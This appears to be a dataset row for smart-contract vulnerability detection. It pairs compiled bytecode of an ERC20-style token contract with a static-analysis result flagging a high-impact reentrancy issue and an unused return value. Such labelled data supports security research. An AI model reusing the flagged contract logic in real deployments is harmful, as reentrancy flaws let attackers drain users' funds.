b6000602080838503121561178a578182fd5b823567ffffffffffffffff808211156117a1578384fd5b818501915085601f8301126117b4578384fd5b8135818111156117c6576117c6611a53565b8060051b604051601f19603f830116810181811085821117156117eb576117eb611a53565b604052828152858101935084860182860187018a1015611809578788fd5b8795505b838610156118325761181e8161168d565b85526001959095019493860193860161180d565b5098975050505050505050565b600060208284031215611850578081fd5b813561107c81611a7e565b60006020828403121561186c578081fd5b815161107c81611a7e565b600060208284031215611888578081fd5b5035919050565b6000806000606084860312156118a3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e8578581018301518582016040015282016118cc565b818111156118f95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119935784516001600160a01b03168352938301939183019160010161196e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c7576119c7611a3d565b500190565b6000826119e757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0657611a06611a3d565b500290565b600082821015611a1d57611a1d611a3d565b500390565b6000600019821415611a3657611a36611a3d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048957600080fd5b801515811461048957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4e0c761c956ab19c1eb0b2835866b9d211d2565b68c73227a601d9be34b15db64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.